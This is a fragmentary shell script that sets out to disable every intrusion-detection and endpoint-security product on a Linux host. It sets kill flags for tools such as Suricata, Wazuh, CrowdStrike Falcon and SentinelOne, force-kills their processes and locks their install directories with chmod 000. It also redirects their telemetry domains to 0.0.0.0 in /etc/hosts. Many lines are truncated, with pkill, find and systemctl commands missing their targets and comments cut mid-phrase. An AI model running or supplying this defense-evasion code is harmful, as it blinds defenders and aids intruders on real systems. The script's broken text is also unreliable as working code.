# Complete annihilation of every
# 1. Global kill flags
cat
ips_enabled=0
suricata_enabled=0
snort_enabled=0
ossec_hids_enabled=0
fail2ban_enabled=0
crowdsec_enabled=0
wazuh_ids_enabled=0
zeek_enabled=0
NOIDS
xdr_enabled=0
crowdstrike_falcon=0
carbonblack_edr=0
sentinelone=0
microsoft_defender_atp=0
elastic_endgame=0
tanium=0
cortex_xdr=0
osquery_enabled=0
NOEDR
# 2. Kill every
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f
pkill -9 -f osqueryd
# 3. Permanently
systemctl disable --now
chmod 000
/opt/falcon-sensor/* \
/opt/carbonblack/* \
/opt/sentinelone/* \
/opt/microsoft/* \
/opt/tanium/* \
/opt/paloaltonetworks/* \
/usr/local/bin/osquery* \
2>/dev/null || true
# 4. Zero and lock all
find
find
# 5.
ip link set promisc off 2>/dev/null || true
for iface
ip link set $iface promisc off 2>/dev/null || true
done
cat <<EDRBLOCK >> /etc/hosts
0.0.0.0 api.crowdstrike.com
0.0.0.0 telemetry.crowdstrike.com
0.0.0.0 device.carbonblack.com
0.0.0.0 api.sentinelone.net
0.0.0.0 watson.microsoft.com
0.0.0.0 events.tanium.com
0.0.0.0 api.xdr.paloaltonetworks.com
EDRBLOCK
# 6.
echo
EOF